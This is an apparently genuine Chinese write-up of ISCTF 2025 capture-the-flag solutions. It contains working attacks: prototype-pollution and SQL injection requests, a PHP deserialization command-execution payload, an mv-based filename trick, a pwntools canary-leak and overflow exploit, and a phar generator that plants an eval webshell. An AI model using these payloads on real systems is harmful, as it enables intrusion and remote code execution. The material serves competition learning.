CTF ISCTF ISCTF-2025 不是炒米线 2025-12-10 2025-12-10 [Web] Who am I 先注册个账号,登陆一下,bp抓包发现居然多了一个参数??后面审计发现是混淆后的js注入的。其中type=0代表给姥爷账号,type=1代表普通账号
1 2 POST /login username=Chao&password=123456&type=0
成功登陆管理员账号,获取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 from flask import Flask,request,render_template,redirect,url_forimport jsonimport pydashapp=Flask(__name__) database={} data_index=0 name='' @app.route('/' ,methods=['GET' ] ) def index (): return render_template('login.html' ) @app.route('/register' ,methods=['GET' ] ) def register (): return render_template('register.html' ) @app.route('/registerV2' ,methods=['POST' ] ) def registerV2 (): username=request.form['username' ] password=request.form['password' ] password2=request.form['password2' ] if password!=password2: return ''' <script> alert('前后密码不一致,请确认后重新输入。'); window.location.href='/register'; </script> ''' else : global data_index data_index+=1 database[data_index]=username database[username]=password return redirect(url_for('index' )) @app.route('/user_dashboard' ,methods=['GET' ] ) def user_dashboard (): return render_template('dashboard.html' ) @app.route('/272e1739b89da32e983970ece1a086bd' ,methods=['GET' ] ) def A272e1739b89da32e983970ece1a086bd (): return render_template('admin.html' ) @app.route('/operate' ,methods=['GET' ] ) def operate (): username=request.args.get('username' ) password=request.args.get('password' ) confirm_password=request.args.get('confirm_password' ) if username in globals () and "old" not in password: Username=globals ()[username] try : pydash.set_(Username,password,confirm_password) return "oprate success" except : return "oprate failed" else : return "oprate failed" @app.route('/user/name' ,methods=['POST' ] ) def name (): return {'username' :user} def logout (): return redirect(url_for('index' )) @app.route('/reset' ,methods=['POST' ] ) def reset (): old_password=request.form['old_password' ] new_password=request.form['new_password' ] if user in database and database[user] == old_password: database[user]=new_password return ''' <script> alert('密码修改成功,请重新登录。'); window.location.href='/'; </script> ''' else : return ''' <script> alert('密码修改失败,请确认旧密码是否正确。'); window.location.href='/user_dashboard'; </script> ''' @app.route('/impression' ,methods=['GET' ] ) def impression (): point=request.args.get('point' ) if len (point) > 5 : return "Invalid request" List =["{" ,"}" ,"." ,"%" ,"<" ,">" ,"_" ] for i in point: if i in List : return "Invalid request" return render_template(point) @app.route('/login' ,methods=['POST' ] ) def login (): username=request.form['username' ] password=request.form['password' ] type =request.form['type' ] if username in database and database[username] != password: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' elif username not in database: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' else : global name name=username if int (type )==1 : return redirect(url_for('user_dashboard' )) elif int (type )==0 : return redirect(url_for('A272e1739b89da32e983970ece1a086bd' )) if __name__=='__main__' : app.run(host='0.0.0.0' ,port=8080 ,debug=False )
发现存在pydash的污染,污染username、password、password2,修改render_template的目录到/下,这里有关键词old过滤
1 http://challenge.bluesharkinfo.com:29403/operate?username=app&password=jinja_loader.searchpath&confirm_password=/
然后尝试
1 http://challenge.bluesharkinfo.com:29403/impression?point=flag
成功获得flag
[Web] flag到底在哪
💡 Hint: Try username admin
注了半天都没成功,突然这个报错了
1 2 3 username=admin&password[]=123 Fatal error: Uncaught TypeError: strpos(): Argument #1 ($haystack) must be of type string, array given in /var/www/html/admin/login.php:14 Stack trace: #0 /var/www/html/admin/login.php(14): strpos(Array, '' OR '1'='1') #1 {main} thrown in /var/www/html/admin/login.php on line 14
这是好事啊,说明存在过滤,不过我这个可以过啊。。。难道是之前到残留??不懂了
1 username=admin&password=' OR '1'='1' AND username='admin
现在就可以访问/upload.phphttp://challenge.bluesharkinfo.com:24000/upload.php
上传一句话,找不到flag,读取/start.sh,发现flag在/home/flag,读取就好了
[Web] Bypass 八进制绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php class FLAG { private $a ; protected $b ; public function __construct ($a , $b ) { $this ->a = $a ; $this ->b = $b ; } } $func_name = 'create_function' ;$cmd = 'cat /flag' ; function ascii2octal ($str ) { $out = '' ; for ($i = 0 ; $i < strlen ($str ); $i ++) { $out .= '\\' . decoct (ord ($str [$i ])); } return $out ; } $payload_content = '} $x="' . ascii2octal ('system' ) . '"; $x("' . ascii2octal ($cmd ) . '"); /*' ;$obj = new FLAG ($func_name , $payload_content );$serialized = serialize ($obj );echo "请复制下面的字符串作为 exp 参数的值:\n\n" ;echo urlencode ($serialized );?>
本地调试的时候吧private改成public了,结果靶机怎么都exp不了,,,这样就好了,另外urlencode一下可以防止出问题。
1 http://challenge.bluesharkinfo.com:20810/?exp=O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A77%3A%22%7D+%24x%3D%22%5C163%5C171%5C163%5C164%5C145%5C155%22%3B+%24x%28%22%5C143%5C141%5C164%5C40%5C57%5C146%5C154%5C141%5C147%22%29%3B+%2F%2A%22%3B%7D
[Web] mv_upload dirsearch扫出源码,审计发现mv命令拼接,且存在通配符展开,可以用文件名作为命令执行
但分号无法绕过,考虑mv的特性(结合题名)
这题考查mv的–backup特性,当目的地存在同名文件时会触发备份,自动添加–suffix设置的后缀。
存在大量过滤,但仔细审计发现都包含了.,因此考虑把php作为后缀,加到shell.上去
具体过程:
1 2 3 4 5 6 7 8 9 10 先传一个shell. mv一下 再上传 --backup=simple --suffix=php shell. 再mv一下,触发覆盖,生成shell.php
完成GetShell
[Pwn] ez_fmt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) binary_path = './ez_fmt' elf = ELF(binary_path) host = 'challenge.bluesharkinfo.com' port = 20609 io = remote(host, port) print ("[-] Step 1: Leaking Canary and PIE Base..." )io.recvuntil(b"1st input: " ) io.sendline(b'%23$p.%25$p' ) data = io.recvline().strip().split(b'.' ) if len (data) < 2 : print ("[!] Error: Leak data incomplete. Check offset." ) exit() canary = int (data[0 ], 16 ) leak_ret_addr = int (data[1 ], 16 ) print (f"[+] Leaked Canary: {hex (canary)} " )print (f"[+] Leaked Ret Addr: {hex (leak_ret_addr)} " )RET_OFFSET = 0x135b elf.address = leak_ret_addr - RET_OFFSET print (f"[+] PIE Base Address: {hex (elf.address)} " )print (f"[+] Real Win Address: {hex (elf.symbols['win' ])} " )print ("[-] Step 2: Sending Buffer Overflow Payload..." )io.recvuntil(b"2nd input: " ) rop = ROP(elf) try : ret_gadget = rop.find_gadget(['ret' ])[0 ] print (f"[*] Ret Gadget: {hex (ret_gadget)} " ) except : ret_gadget = 0 print ("[!] Warning: Ret gadget not found." ) padding_size = 136 payload = flat([ b'A' * padding_size, canary, b'B' * 8 , ret_gadget, elf.symbols['win' ] ]) io.sendline(payload) print ("[*] Switching to interactive mode..." )io.interactive()
[Misc] 美丽的风景照 神人题,第三天才放hint
1 2 3 4 5 查看提示: HINT1 按照彩虹颜色排序试试看 查看提示: HINT2 这照片里的古建筑上怎么写个明光大正”“那是正大光明,古风都是倒着来的
分帧,古风要反过来,整体按彩虹顺序,base58
1 2 3 2WqjC2gD7HLo86yRWhKEaC3ZXw8T98Mz ISCTF{H0w_834u71fu1!!!}
[Misc] 小蓝鲨的神秘文件 ChsPinyinUDL.dat是微软输入法都词库学习文件,用UTF-16 LE打开就能看到内容了,有效内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 帮我优化这段代码 不要乱动我的代码 不要动我原来的代码 出题人说弗莱格在官网 出题人说弗莱格在那里 官网的新闻里 在那里 还有一些项目合作的机会 福州蓝鲨信息技术有限公司 机会是留给有准备的人 看看官网的新闻吧 你把简历投了再说 你去看看新闻动态呢 你去找辅导员问问 去蓝鲨官网看看呗 你这个脚本跑不了啊 他们招实习的 这次比赛你参加了吗 真的可以去试试 在我原来的基础上修改
感觉像一边聊天一边vibe coding
在这里https://www.bluesharkinfo.com/news/article/2025-11-25-news20文章最后找到flag
[Misc] Abnormal log 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import relog_file = "access.log" def extract_flag (): with open (log_file, "r" ) as f: content = f.read() pattern = re.compile (r"\[INFO\] File data segment: ([0-9a-f]+)" ) hex_segments = pattern.findall(content) full_hex = "" .join(hex_segments) data_bytes = bytes .fromhex(full_hex) decrypted_bytes = bytearray () for b in data_bytes: decrypted_bytes.append(b ^ 0x05 ) output_filename = "result.7z" with open (output_filename, "wb" ) as f: f.write(decrypted_bytes) print (f"[-] 文件已提取为 {output_filename} " ) print ("[-] 请解压该文件,里面包含一个 flag.png,打开图片即可看到 Flag。" ) if __name__ == "__main__" : extract_flag()
ISCTF{sabfndhjkashgfyiasdgfyusdguyfbknncxzbnj}
[Misc] 小蓝鲨的千层FLAG 1 7z l -slt flagggg999.zip
发现Comment写了密码,试了一下可以,丢给ai搓剥洋葱脚本。
Comment = The password is 0eb9d3986e56473c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import zipfileimport subprocessimport reimport osdef solve_matryoshka (): current_zip = "flagggg999.zip" while True : if not os.path.exists(current_zip): print (f"[-] 文件 {current_zip} 不存在,停止。" ) break try : with zipfile.ZipFile(current_zip, 'r' ) as zf: comment = zf.comment.decode('utf-8' , errors='ignore' ).strip() file_list = zf.namelist() if not file_list: print ("[-] 压缩包为空" ) break next_file = file_list[0 ] print (f"[*] 正在处理: {current_zip} | 注释: {comment} " ) match = re.search(r"password is\s+([^\s]+)" , comment) if match : password = match .group(1 ) else : print ("[!] 未匹配到标准格式,尝试使用最后一段作为密码" ) password = comment.split()[-1 ] cmd = ["7z" , "x" , f"-p{password} " , "-y" , current_zip] result = subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE) if result.returncode != 0 : print (f"[-] 解压失败: {current_zip} " ) print (f"[-] 错误信息: {result.stderr.decode()} " ) break os.remove(current_zip) current_zip = next_file if not current_zip.endswith('.zip' ): print (f"\n[SUCCESS] 最终文件已解出: {current_zip} " ) print ("内容如下:" ) try : with open (current_zip, 'r' , encoding='utf-8' ) as f: print (f.read()) except : print ("(文件可能是二进制格式,请手动查看)" ) break except zipfile.BadZipFile: print (f"[-] {current_zip} 不是有效的 ZIP 文件" ) break except Exception as e: print (f"[-] 发生未知错误: {e} " ) break if __name__ == "__main__" : solve_matryoshka()
获得flagggg3.zip,此时注释不再有密码,且加密方式变成了ZipCrypto,压缩方式Store,意味着压缩包内的文件名会以明文形式出现,补足足够的长度。
1 bkcrack -C flagggg3.zip -c flagggg2.zip -x 0 504B0304 -x 30 666C6167676767312E7A6970
注:
1 2 偏移 0: ZIP 头签名 50 4B 03 04 偏移 30: 内部包含的文件名 flagggg1.zip (文件名通常从第 30 字节开始)
获得key后解压出flagggg2.zip
1 bkcrack -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d flagggg2.zip
之后这个flagggg2.zip没有加密,flagggg1.zip也是(感动),一路解压出flagggg.txt
1 2 You deserve it ! ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}
[Misc] 星髓宝盒 给了张png,zsteg看到末尾追加了一个zip
提取获得
1 2 3 你是优秀学生吗.txt 真-星髓宝盒.zip 星髓宝盒.jpg
先看一下这个压缩包,真加密,确认flag就在里面
1 2 3 4 5 6 (base) ➜ E064B bkcrack -L 真-星髓宝盒.zip bkcrack 1.8.1 - 2025-10-25 Archive: 真-星髓宝盒.zip Index Encryption Compression CRC32 Uncompressed Packed size Name ----- ---------- ----------- -------- ------------ ------------ ---------------- 0 Other Deflate bd48ae80 39 69 真-星髓宝盒/flag.txt
再看一眼这个jpg,使用exiftool
发现XP Comment: https://www.somd5.com/,访问一看是个md5解密网站,考虑可能会给一段md5,解密后即为压缩包密码。
然后来看这个你是优秀学生吗.txt,好长的文本,但乍眼一看没有有效信息,用vim看一下。
发现有不可见零宽字符,使用网页工具解密。这里需要使用https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html这个
解出的密文没有有效信息,猜测仍然存在隐写,用vim看一下。
确认存在零宽字符隐写,但零宽字符与之前的不一样,之前的工具无法使用。使用随波逐流自带的字密3-JS:零宽字符加解密1,获得md5。(原版的该工具无法成功解密)
5b298e6836902096e9316756d3b58ec4,使用之前的网站解密一下,成功获得压缩包密码
解压得到flag: ISCTF{1e7553787953e74113be4edfe8ca0e59}
[Misc] 木林森 解压获得木林森.txt,厨子解base64,获得png。
扫码获得数字20000824
binwalk分离出一张jpg。
1 文明友善爱国文明诚信自由文明诚信自由文明友善爱国自由友善法治公正民主公正友善法治公正文明公正民主文明诚信自由文明友善爱国文明诚信自由文明诚信自由
随波逐流解出来
关注png之后还多了一段hex
1 31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B90F4E036
长度看起来像流加密,考虑RC4
1 2 3 4 5 6 "聪明的你,截获了来自木林森这个间谍组织发送的加密通信内容,请特别注意他们的神秘标记!!!! 其中还有被破坏没有拦截成功的密文,你凭借记忆依稀只记得:""Ron's Code For...?"",请解开通信内容,获取flag" ....Mamba.... 20000824
猜测密码为2000Mamba0824
1 ISCTF{590CF439-E304-4E27-BE45-49CC7B02B3F3}
[Web] include_upload 打phar,配合自动解压的特性。另外phar包含只需要路径里有.phar就行了,不需要在最后,甚至是文件夹名都可以,也不管后缀是什么。
参考这个,非常详细
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php $phar = new Phar ('exploit.phar' ); $phar ->startBuffering (); $code = <<<'EOD' <?php $shell_file = "shell.php"; $shell_content = "<?php @eval(\$_POST['cmd']); ?>"; if (file_put_contents($shell_file, $shell_content)) { echo "ojbk"; } else { die("NOOOO!!!"); } echo "Phar stub executed\n"; eval($_POST['cmd']); __HALT_COMPILER(); ?> EOD ; $phar ->setStub ($code ); $phar ->addFromString ('index.php' , $code ); $phar ->compress (Phar ::GZ );$phar ->stopBuffering ();?>
生成exploit.phar.gz,改名成exploit.phar.gz.png,实际上只要包含.phar且后缀为.png就可以了,然后去/include.php包含,会自动写马。
附上dump出来的原题:
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );header ("Content-type:text/html;charset=utf-8" ); $ext_arr = array ('png' ); $file_ext = substr ($_FILES ['file' ]['name' ],strrpos ($_FILES ['file' ]['name' ],"." )+1 ); $file = empty ($_POST ['filename' ]) ? $_FILES ['file' ]['name' ] : $_POST ['filename' ]; $name = basename ($_POST ['filename' ]); $filename_ext = pathinfo ($name ,PATHINFO_EXTENSION); $filename =$_FILES ['file' ]['name' ]; $content = file_get_contents ($_FILES ['file' ]['tmp_name' ]); if (in_array ($file_ext ,$ext_arr )){ echo "后缀没错" ."\n" ; if (stripos ($content , '<?' ) === false && stripos ($content , 'php' ) === false ) { if (file_exists ("upload/" . $_FILES ["file" ]["name" ])) { echo $_FILES ["file" ]["name" ] . " 文件已经存在。 " ; } else { move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" . $_FILES ["file" ]["name" ]); echo "文件存储在: " . "upload/" . $filename ; } } else { echo "别看了,我这waf你过不掉的,看看这题的特点,看看提示也行" ."\n" ; } } else { echo "必须上传.png哦" ; } ?>
include.php
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );error_reporting (0 );$file = $_GET ['file' ];if (isset ($file ) && strtolower (substr ($file , -4 )) == ".png" ){ include './upload/' . basename ($_GET ['file' ]); exit ; } ?> 我还以为你真信